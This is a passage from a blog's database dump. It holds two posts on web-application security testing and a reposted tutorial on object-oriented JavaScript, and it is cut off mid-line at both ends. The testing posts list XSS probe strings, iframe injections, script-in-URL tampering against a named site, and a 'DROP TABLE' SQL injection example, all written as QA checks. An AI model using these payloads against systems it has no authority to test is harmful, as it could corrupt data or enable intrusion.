&lt;/script&gt;\'\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Cross Site Scripting:</b>\r\n\r\n&nbsp;\r\n\r\nCheck whether the Input data fields allow the user to enter html or any other script tags or not. System should not allow the user to enter html tags or any other script tags.\r\n\r\n&nbsp;\r\n\r\nAny HTML tags e.g. &lt;HTML&gt; or any script e.g. &lt;SCRIPT&gt; should not be accepted by the application. If it is, the application can be prone to an attack by Cross Site Scripting.\r\n\r\n&nbsp;\r\n\r\nUsing cross-site scripting, attacker can use scripts like JavaScript to steal user cookies and information stored in the cookies.\r\n\r\n&nbsp;\r\n\r\nMany web applications get some user information and pass this information in some variables from different pages.\r\n\r\n&nbsp;\r\n\r\nEnter the following data in the input data fields:\r\n\r\n&nbsp;\r\n\r\nExample:\r\n\r\n&nbsp;\r\n\r\n1. \'\"&gt;&lt;/a&gt;&lt;script&gt;alert (27097) &lt;/script&gt;\'\r\n\r\n&nbsp;\r\n\r\n2. &lt;INPUT TYPE=\"hidden\" NAME=\"name\" id=\'aname1\' value=\"30\'\"&gt;&lt;iframe\r\n\r\nsrc=http://demo.testfire.net&gt;\"&gt;\r\n\r\n&nbsp;\r\n\r\n3. &lt;INPUT TYPE=\"hidden\" NAME=\"aname\" id=\'aname1\' value=\"\"\'&gt;&lt;IMG\r\n\r\nSRC=\"/WF_XSRF.html\"&gt;\"&gt;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>HTTP_REFERER:</b>\r\n\r\n&nbsp;\r\n\r\nLog in to the site from external sites/pages.\r\n\r\n&nbsp;\r\n\r\nExample:\r\n\r\n&nbsp;\r\n\r\nCreate a new html page for login using ‘Source code’ from the original site. Then Login to the original site from the html page. ()\r\n\r\n&nbsp;\r\n\r\nSystem should not allow the user to login to the site from the external sites/pages unless it is specified.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>SQL Injection:</b>\r\n\r\n&nbsp;\r\n\r\nCheck whether the input data fields allow the user to enter the “--” (double-dash), single quotes (‘), double quotes (“) and sql queries or not. System should not allow the user to enter the “--” (double-dash), single quotes (‘), double quotes (“) and sql queries.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nExample:\r\n\r\n&nbsp;\r\n\r\nIf the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.\r\n\r\n&nbsp;\r\n\r\nThe most drastic example is:\r\n\r\n&nbsp;\r\n\r\nSELECT email, passwd, login_id, full_name\r\n\r\nFROM members\r\n\r\nWHERE email = \'x\'; DROP TABLE members; --\';\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Cross site Request Forgery:</b>\r\n\r\n&nbsp;\r\n\r\nThe same request was sent twice in different sessions and the same response was received.\r\n\r\nThis shows that none of the parameters are dynamic (session identifiers are sent only in\r\n\r\nCookies) and therefore that the application is vulnerable to this issue.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n58.blog:\r\n\r\nHeader:\r\n\r\n<b>An approach for Security Testing of Web Applications</b>\r\n\r\n&nbsp;\r\n\r\nCategory: Web Technology\r\n\r\n&nbsp;\r\n\r\nDescription:  <strong>Introduction</strong>\r\n\r\nAs more and more vital data is stored in web applications and the number of transactions on the web increases, proper security testing of web applications is becoming very important. Security testing is the process that determines that confidential data stays confidential (i.e. it is not exposed to individuals/ entities for which it is not meant) and users can perform only those tasks that they are authorized to perform (e.g. a user should not be able to deny the functionality of the web site to other users, a user should not be able to change the functionality of the web application in an unintended way etc.).\r\n\r\n1. <strong>Password cracking:</strong>\r\n\r\nThe security testing on a web application can be kicked off by “password cracking”. In order to log in to the private areas of the application, one can either guess a username/ password or use some password cracker tool for the same. Lists of common usernames and passwords are available along with open source password crackers. If the web application does not enforce a complex password (e.g. with alphabets, number and special characters, with at least a required number of characters), it may not take very long to crack the username and password.\r\n\r\nIf username or password is stored in cookies without encrypting, attacker can use different methods to steal the cookies and then information stored in the cookies like username and password.\r\n\r\n\r\n2. <strong>URL manipulation through HTTP GET methods:</strong>\r\n\r\nCheck if the application passes important information in the querystring. This happens when the application uses the HTTP GET method to pass information between the client and the server. The information is passed in parameters in the querystring. The tester can modify a parameter value in the querystring to check if the server accepts it.\r\n\r\nVia HTTP GET request user information is passed to server for authentication or fetching data. Attacker can manipulate every input variable passed from this GET request to server in order to get the required information or to corrupt the data. In such conditions any unusual behavior by application or web server is the doorway for the attacker to get into the application.\r\n\r\n3. <strong>SQL Injection:</strong>\r\n\r\nThe next thing that should be checked is SQL injection. Entering a single quote (‘) in any textbox should be rejected by the application. Instead, if the tester encounters a database error, it means that the user input is inserted in some query which is then executed by the application. In such a case, the application is vulnerable to SQL injection.\r\n\r\nSQL injection attacks are very critical as attacker can get vital information from server database. To check SQL injection entry points into your web application, find out code from your code base where direct MySQL queries are executed on database by accepting some user inputs.\r\n\r\nIf user input data is crafted in SQL queries to query the database, attacker can inject SQL statements or part of SQL statements as user inputs to extract vital information from database. Even if attacker is successful to crash the application, from the SQL query error shown on browser, attacker can get the information they are looking for. Special characters from user inputs should be handled/escaped properly in such cases.\r\n\r\n4. <strong>Cross Site Scripting (XSS):</strong>\r\n\r\nThe tester should additionally check the web application for XSS (Cross site scripting). Any HTML e.g. &lt;HTML&gt; or any script e.g. &lt;SCRIPT&gt; should not be accepted by the application. If it is, the application can be prone to an attack by Cross Site Scripting.\r\n\r\nAttacker can use this method to execute malicious script or URL on victim’s browser. Using cross-site scripting, attacker can use scripts like JavaScript to steal user cookies and information stored in the cookies.\r\n\r\nMany web applications get some user information and pass this information in some variables from different pages.\r\n\r\nE.g.: http://www.examplesite.com/index.php?userid=123&amp;query=xyz\r\n\r\nAttacker can easily pass some malicious input or &lt;script&gt; as a ‘&amp;query’ parameter which can explore important user/server data on browser.\r\n\r\n5. <strong>URL session variables and HTTP_REFERER</strong>\r\n\r\nBecause the web is a stateless environment, there are several mechanisms that people use to track users as they move through an application. The most common mechanism is to set cookies with user ID and session ID, then track the user based on those cookies as they use the application. But, in the cases where cookies are not acceptable, the session information will typically be passed in URL variables, which can expose some not so obvious risks.\r\n\r\nIn some cases, developers will create the session state architecture on their own, but when developers use ColdFusion session state management they inherit this system from ColdFusion. ColdFusion provides web developers with the ability to store values on the server side that are unique to a user\'s \"session\" at the site. ColdFusion relies on two \"token\" values passed between the client browser and the ColdFusion Server to be able to distinguish one user\'s session variables from another\'s. These two token values are named \"CFID\" and \"CFTOKEN\", and together represent a unique visitor\'s session.\r\n\r\nIf session variables are being used by an application, ColdFusion\'s default behavior is to issue two browser cookies with numeric values named \"CFID\" and \"CFTOKEN\". For each subsequent trip to the server, ColdFusion uses these cookies to look up state information stored on the server. However, for sites which do not wish to use or rely on cookie browser support, the \"CFID\" and \"CFTOKEN\" values can be appended to the URL as variables using the URLTOKEN variable. ColdFusion will also automatically find and use these values.\r\n\r\nUnder normal circumstances, passing session information on a URL is not a problem, but there are potential risks that developers need to avoid when they code applications that pass session variable information, or any sensitive information on a URL. In general, you should avoid sending any sensitive information on a URL string out of your application:\r\n\r\n* Passing session ID data out of the application on the URL. The obvious mistake is to append the session information to a URL that is linking out of the application to another site. This will transfer the information to the other site where it can potentially be captured and used to mimic the user for unauthorized access.\r\n* Passing session ID data out of the application through the HTTP_REFERER header variable. Every HTTP request (hyperlink) includes an HTTP Header with a set of environment variables. One of the variables is \"HTTP_REFERER.\" This variable contains the URL that was used to access the page that is being linked from. So if you are navigating through an application with URL based session variables then you click a clean link from the application to another site, the HTTP_REFERER variable may contain the URL with the session data. As with the first example, this could then be used to spoof the user and return to the site for unauthorized access.\r\n\r\nAddressing URL Session Variable Security Risks\r\n\r\nThere are several different ways to help protect against the potential risks described above:\r\n\r\n* Don\'t pass session ID information on the URL. If you use cookies instead this will prevent the problem of accidentally passing session ID information out of a site.\r\n* Link to pages leaving an app with forms. You can link to pages that have links out of the application using forms instead of URLs. When you link to a page with a form, passing the session information in a hidden form field, the HTTP_REFERER variable that is created on the next link will not contain the session information.\r\n* Use other data to check users during sessions. Most systems will have a user ID that is unique for the user and a session ID that is unique for the session. In addition, you can use an IP address as another environment variable not based on the URL to help to confirm that your application is in fact talking with the right user. (If you are using ColdFusion session state management you cannot use this technique.)\r\n* Keep session timeouts short. Typically sessions are designed to \"timeout\" after a certain period of inactivity. It is a good idea to keep the session timeout length short (e.g. 10 -15 minutes) so that session IDs become invalid faster, which will leave less time for possible unauthorized access without authentication.\r\n<strong>Important</strong>: During security testing, one should be very careful not to modify any of the following:\r\n\r\n*  Configuration of the application or the server\r\n*  Services running on the server\r\n*  Existing user or customer data hosted by the application\r\n\r\nAdditionally, a security test should be avoided on a production system.\r\n<b>\r\n<strong>Conclusion:</strong></b> The purpose of the security test is to discover the vulnerabilities of the web application so that the developers can then remove these vulnerabilities from the application and make the web application and data safe from unauthorized actions.','An approach for Security Testing of Web Applications','','publish','open','open','','an-approach-for-security-testing-of-web-applications','','','2014-07-21 12:18:39','2014-07-21 12:18:39','',0,'http://localhost/yalavarthitechnologies/blog/?p=207',0,'post','',0),(208,1,'2014-07-21 12:21:07','2014-07-21 12:21:07','<strong>Summary:</strong>\r\n<h3>Introduction</h3>\r\nThe first version of this paper, written in 2003, had several shortcomings, not the least of which was that the techniques described were specific to Internet Explorer. I\'ve updated and improved on the original, to document the current state of the art, especially in light of the extensive interest in AJAX technology and the increasing adoption of the FireFox browser. All the examples presented here will follow the ECMA language standards and can be applied to Internet Explorer, FireFox, and ActionScript (in Macromedia Flash).\r\n\r\nWhile early adopters of JavaScript used it as a simple scripting engine to create dynamic web pages, modern web designers have come to use more sophisticated object oriented techniques in building their code. I will present here, both the common paradigms used in object oriented JavaScript programming, and also suggest some helper functions that you can use in your code to streamline the process.\r\n\r\nIt should be noted that the current design of the JavaScript language, did not fully anticipate or fully implement an object oriented system. That is why the subject is somewhat mysterious and there are various implementations of object oriented programming techniques being used on the web today. I will describe what I believe to be the most main-stream and compatible implementation that fits most naturally into the design of the language.\r\n\r\n<b>Object Oriented Programming Goals</b>\r\n\r\nI assume that the reader has a basic familiarity with JavaScript, function calls, and the basic tenets of object oriented programming. I consider the three primary goals of object oriented programming to be:\r\n<ul>\r\n	<li><b>Encapsulation</b> - Support for method calls on a JavaScript object as a member of a Class.</li>\r\n	<li><b>Polymorphism</b> - The ability for two classes to respond to the same (collection of) methods.</li>\r\n	<li><b>Inheritance</b> - The ability to define the behavior of one object in terms of another by <i>sub-classing</i>.</li>\r\n</ul>\r\nThrough a series of examples (which, for the curious reader, are actually snippets of live JavaScript code embedded within this page), I will demonstrate how objects can be used in JavaScript and how these object oriented paradigms can be best implemented. I will cover techniques for:\r\n<ul>\r\n	<li>Defining a Class</li>\r\n	<li>Defining and calling Methods in a Class</li>\r\n	<li>Defining a Sub-Class</li>\r\n	<li>Calling the Super-Class constructor from a Sub-Class</li>\r\n	<li>Overriding Methods of a Super-Class in a Sub-Class</li>\r\n	<li>Calling a Super-Class method from a Sub-Class</li>\r\n</ul>\r\n<b>Simple Objects</b>\r\n<p align=\"center\"></p>\r\nThe simplest object oriented construct in JavaScript is the built-in <i>Object</i> data type. In JavaScript, objects are implemented as a collection of named properties. Being an interpreted language, JavaScript allows for the creation of any number of properties in an object at any time (unlike C++, properties can be added to an object at any time; they do not have to be pre-defined in an object declaration or constructor).\r\n\r\nSo, for example, we can create a new object and add several ad-hoc properties to it with the following code:\r\n\r\nobj = new Object;\r\n\r\nobj.x = 1;\r\n\r\nobj.y = 2;\r\n\r\nWhich creates a JavaScript object which I will represent graphically like this:\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">obj</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>1</td>\r\n</tr>\r\n<tr>\r\n<td>y</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nThe left hand column displays the property name of each available property on the object, while the right hand column displays it\'s value. Note that in addition to the <i>x</i> and <i>y</i> properties that we created, our object has an additional property called <i>constructor </i>that points (in this case) to an internal JavaScript function. I will explain <i>prototype</i> properties, below.\r\n\r\n<b>Defining a Class - Object Constructors</b>\r\n\r\nA new JavaScript class is defined by creating a simple function. When a function is called with the <i>new</i> operator, the function serves as the <i>constructor</i> for that class. Internally, JavaScript creates an <i>Object</i>, and then calls the constructor function. Inside the constructor, the variable <i>this</i> is initialized to point to the just created Object. This code snippet defines a new class, <i>Foo</i>, and then creates a single object of that class.\r\n\r\nfunction Foo()\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\nthis.y = 2;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nobj = new Foo;\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">obj</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>1</td>\r\n</tr>\r\n<tr>\r\n<td>y</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Foo.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>Foo</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nNote that we can now create as many <i>Foo</i> type objects as we want, all of whom will be properly initialized to have their <i>x</i> and <i>y</i> properties set to 1 and 2, respectively.\r\n\r\n<b>Prototypes Explained</b>\r\n\r\nIn JavaScript, each Object can inherit properties from another object, called it\'s <i>prototype</i>. When evaluating an expression to retrieve a property, JavaScript first looks to see if the property is defined directly in the object. If it is not, it then looks at the object\'s prototype to see if the property is defined there. This continues up the <i>prototype chain</i> until reaching the root prototype. Each object is associated with a prototype which comes from the constructor function from which it is created.\r\n\r\nFor example, if we want to create an object, X, from constructor function B, whose prototype chain is: B.prototype, A.prototype, Object.prototype:\r\n\r\nWe would use the following code:\r\n\r\nObject.prototype.inObj = 1;\r\n\r\n&nbsp;\r\n\r\nfunction A()\r\n\r\n{\r\n\r\nthis.inA = 2;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nA.prototype.inAProto = 3;\r\n\r\n&nbsp;\r\n\r\nB.prototype = new A;            // Hook up A into B\'s prototype chain\r\n\r\nB.prototype.constructor = B;\r\n\r\nfunction B()\r\n\r\n{\r\n\r\nthis.inB = 4;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.prototype.inBProto = 5;\r\n\r\n&nbsp;\r\n\r\nx = new B;\r\n\r\ndocument.write(x.inObj + \', \' + x.inA + \', \' + x.inAProto + \', \' + x.inB + \', \' + x.inBProto);\r\n\r\n1, 2, 3, 4, 5\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">x</td>\r\n</tr>\r\n<tr>\r\n<td>inB</td>\r\n<td>4</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>B.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>B</td>\r\n</tr>\r\n<tr>\r\n<td>inA</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td>inBProto</td>\r\n<td>5</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>A.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td>inAProto</td>\r\n<td>3</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n<tr>\r\n<td>inObj</td>\r\n<td>1</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<i>In FireFox and in ActionScript, an object\'s prototype can be explicitly referenced via the non-standard __proto__ property. But in standard JavaScript a prototype object can only by directly referenced through the object\'s constructor function object.</i>\r\n\r\n<b>Defining and Calling Methods in a Class</b>\r\n\r\nJavaScript allows you to assign any function to a property of an object. When you call that function using <i>obj.Function()</i> syntax, it will execute the function with <i>this</i> defined as a reference to the object (just as it was in the constructor).\r\n\r\nThe standard paradigm for defining methods is to assign functions to a constructor\'s prototype. That way, all objects created with the constructor automatically inherit the function references via the prototype chain.\r\n\r\nfunction Foo()\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nFoo.prototype.AddX = function(y)    // Define Method\r\n\r\n{\r\n\r\nthis.x += y;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nobj = new Foo;\r\n\r\n&nbsp;\r\n\r\nobj.AddX(5);                        // Call Method\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">obj</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>6</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Foo.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>Foo</td>\r\n</tr>\r\n<tr>\r\n<td>AddX</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<b>Polymorphism</b> is achieved by simply having different object classes implement a collection of methods that use the same names. Then, a caller, need just use the correctly named function property to invoke the appropriate function for each object type.\r\n\r\nfunction A()\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nA.prototype.DoIt = function()    // Define Method\r\n\r\n{\r\n\r\nthis.x += 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nfunction B()\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.prototype.DoIt = function()    // Define Method\r\n\r\n{\r\n\r\nthis.x += 2;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\na = new A;\r\n\r\nb = new B;\r\n\r\n&nbsp;\r\n\r\na.DoIt();\r\n\r\nb.DoIt();\r\n\r\ndocument.write(a.x + \', \' + b.x);\r\n\r\n2, 3\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">a</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>A.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td>DoIt</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">b</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>3</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>B.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>B</td>\r\n</tr>\r\n<tr>\r\n<td>DoIt</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<b>Defining a Sub-Class</b>\r\n\r\nThe standard paradigm, is to use the prototype chain to implement the inheritance of methods from a super class. Any methods defined on the sub-class will supersede those defined on the super-class.\r\n\r\nfunction A()                        // Define super class\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nA.prototype.DoIt = function()        // Define Method\r\n\r\n{\r\n\r\nthis.x += 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.prototype = new A;                // Define sub-class\r\n\r\nB.prototype.constructor = B;\r\n\r\nfunction B()\r\n\r\n{\r\n\r\nA.call(this);                    // Call super-class constructor (if desired)\r\n\r\nthis.y = 2;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.prototype.DoIt = function()        // Define Method\r\n\r\n{\r\n\r\nA.prototype.DoIt.call(this);    // Call super-class method (if desired)\r\n\r\nthis.y += 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nb = new B;\r\n\r\n&nbsp;\r\n\r\ndocument.write((b instanceof A) + \', \' + (b instanceof B) + \'&lt;BR/&gt;\');\r\n\r\nb.DoIt();\r\n\r\ndocument.write(b.x + \', \' + b.y);\r\n\r\ntrue, true\r\n2, 3\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">b</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td>y</td>\r\n<td>3</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>B.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>B</td>\r\n</tr>\r\n<tr>\r\n<td>(x)</td>\r\n<td>1</td>\r\n</tr>\r\n<tr>\r\n<td>DoIt</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>A.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td>(DoIt)</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nSomething to keep in mind is that each time a sub-class is defined, we explicitly call the constructor of the super-class in order to insert it into our prototype chain. So it is important to ensure that no undesirable side-effects will occur when this call is made. Conversely, if the super-class constructor should be called for each instance of every sub-class, code must be explicitly added to the sub-class\'s constructor to make this call (as is done in the above example).\r\n\r\n<b>An Alternate Sub-Classing Paradigm</b>\r\n\r\nAs an alternate to using the prototype chain, I\'ve developed a method which avoids calling the constructor of a super class when each sub-class is defined. Three methods are added to the Function object:\r\n\r\nFunction.prototype.DeriveFrom = function (fnSuper) {\r\n\r\nvar prop;\r\n\r\nif (this == fnSuper) {\r\n\r\nalert(\"Error - cannot derive from self\");\r\n\r\nreturn;\r\n\r\n}\r\n\r\nfor (prop in fnSuper.prototype) {\r\n\r\nif (typeof fnSuper.prototype[prop] == \"function\" &amp;&amp;\r\n\r\n!this.prototype[prop]) {\r\n\r\nthis.prototype[prop] = fnSuper.prototype[prop];\r\n\r\n}\r\n\r\n}\r\n\r\nthis.prototype[fnSuper.StName()] = fnSuper;\r\n\r\n}\r\n\r\nFunction.prototype.StName\r\n\r\n= function () {\r\n\r\nvar st;\r\n\r\nst = this.toString();\r\n\r\nst = st.substring(st.indexOf(\" \") + 1, st.indexOf(\"(\"));\r\n\r\nif (st.charAt(0) == \"(\") {\r\n\r\nst = \"function ...\";\r\n\r\n}\r\n\r\nreturn st;\r\n\r\n}\r\n\r\nFunction.prototype.Override\r\n\r\n= function (fnSuper, stMethod) {\r\n\r\nthis.prototype[fnSuper.StName() + (\"_\" + stMethod)] = fnSuper.prototype[stMethod];\r\n\r\n}\r\n\r\nRepeating the sub-classing example using this new paradigm:\r\n\r\nfunction A()                        // Define super class\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nA.prototype.DoIt = function()        // Define Method\r\n\r\n{\r\n\r\nthis.x += 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.DeriveFrom(A);                    // Define sub-class\r\n\r\nfunction B()\r\n\r\n{\r\n\r\nthis.A();                        // Call super-class constructor (if desired)\r\n\r\nthis.y = 2;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.Override(A, \'DoIt\');\r\n\r\nB.prototype.DoIt = function()        // Define Method\r\n\r\n{\r\n\r\nthis.A_DoIt();                    // Call super-class method (if desired)\r\n\r\nthis.y += 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nb = new B;\r\n\r\n&nbsp;\r\n\r\ndocument.write((b instanceof A) + \', \' + (b instanceof B) + \'&lt;BR/&gt;\');\r\n\r\nb.DoIt();\r\n\r\ndocument.write(b.x + \', \' + b.y);\r\n\r\nfalse, true\r\n2, 3\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">b</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td>y</td>\r\n<td>3</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>B.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>B</td>\r\n</tr>\r\n<tr>\r\n<td>DoIt</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>A</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td>A_DoIt</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nUnfortunately, this technique does not allow for the use of the <i>instanceof</i> operator to test for membership of a super-class. But, we have the added benefit that we can derive from more than one super class (multiple inheritance).\r\n\r\n<b>Private Members</b>\r\n\r\nAmazingly, JavaScript also can support private members in an object. When the constructor is called, variables declared in the function scope of the constructor will actually persist beyond the lifetime of the construction function itself. To access these variables, you need only create local functions within the scope of the constructor.  They may reference <i>local</i> variables in the constructor.\r\n\r\nfunction A()\r\n\r\n{\r\n\r\nvar x = 7;\r\n\r\n&nbsp;\r\n\r\nthis.GetX = function() { return x;}\r\n\r\nthis.SetX = function(xT) { x = xT; }\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nobj = new A;\r\n\r\nobj2 = new A;\r\n\r\ndocument.write(obj.GetX() + \' \' + obj2.GetX());\r\n\r\nobj.SetX(14);\r\n\r\ndocument.write(\' \' + obj.GetX() + \' \' + obj2.GetX());\r\n\r\n7 7 14 7\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">obj</td>\r\n</tr>\r\n<tr>\r\n<td>GetX</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>SetX</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>A.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">obj2</td>\r\n</tr>\r\n<tr>\r\n<td>GetX</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>SetX</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>A.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nI believe, however, that each instance of an object created in this way, has it\'s own copy of each local function.  The local copy of the function can maintain a copy of the local scope (a closure) of the constructor.  This would be rather inefficient for object classes that construct many instances.  Experiments with a single (shared) reference to a function reveal that they can only reference variables from a single instance of the class.  Since the benefits of using private members is rather limited in the context of JavaScript (which is already lacking any form of type safety), I would not recommend making extensive use of the <i>private member</i> paradigm.\r\n\r\n<b>Source:</b> <a href=\"http://mckoss.com/jscript/object.htm\">http://mckoss.com/jscript/object.htm</a>','Oop Concepts in Javascript','','publish','open','open','','oop-concepts-in-javascript','','','2014-07-21 12:21:07','2014-07-21 12:21:07','',0,'http://localhost/yalavarthitechnologies/blog/?p=208',0,'post','',0),(209,1,'2014-07-21 12:18:39','2014-07-21 12:18:39','<strong>Summary:</strong>\r\n\r\n<b>URL Tampering:</b>\r\n\r\n&nbsp;\r\n\r\nModify a parameter value in the query string to check if the server accepts it.\r\n\r\n&nbsp;\r\n\r\nReplace the parameter value with the below mentioned values.\r\n\r\n&nbsp;\r\n\r\n1. Original URL -&gt; http://www.collabor.com/bigidea/index/bigidea-details?big_id=MjY=\r\n\r\n&nbsp;\r\n\r\n2. Modified URL -&gt; http://www.collabor.com/bigidea/index/bigidea-details?big_id=&lt;script&gt; alert (‘Welcome’);&lt;/script&gt;\r\n\r\n&nbsp;\r\n\r\n3.\'\'\"&gt;&lt;iframe%20src=http://demo.testfire.net&gt;\'\r\n\r\n&nbsp;\r\n\r\n4. %22%20style%3D%22background: expression (alert (97918)) 